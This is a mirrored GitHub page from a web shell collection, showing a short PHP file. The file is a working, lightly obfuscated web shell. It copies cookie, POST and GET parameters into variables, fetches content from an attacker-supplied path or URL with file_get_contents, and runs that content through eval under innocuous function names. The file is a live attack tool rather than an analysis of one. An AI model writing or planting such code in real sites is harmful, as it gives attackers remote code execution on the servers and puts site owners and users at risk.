mirror of
https://github.com/tennc/webshell
synced 2024-11-22 19:23:05 +00:00
22 lines
358 B
PHP
22 lines
358 B
PHP
|
<?php
|
||
|
function _strint($key){
|
||
|
return @file_get_contents($key);
|
||
|
}
|
||
|
function log1($log){
|
||
|
lone(_strint($log));
|
||
|
}
|
||
|
function lone($key){
|
||
|
$str = "";
|
||
|
return eval($str.$key.$str);
|
||
|
}
|
||
|
foreach (array('_COOKIE','_POST','_GET') as $_request)
|
||
|
{
|
||
|
foreach ($$_request as $_key=>$_value)
|
||
|
{
|
||
|
$$_key= $_value;
|
||
|
}
|
||
|
}
|
||
|
$id = isset($id) ? $id : 2;
|
||
|
log1($id);
|
||
|
?>
|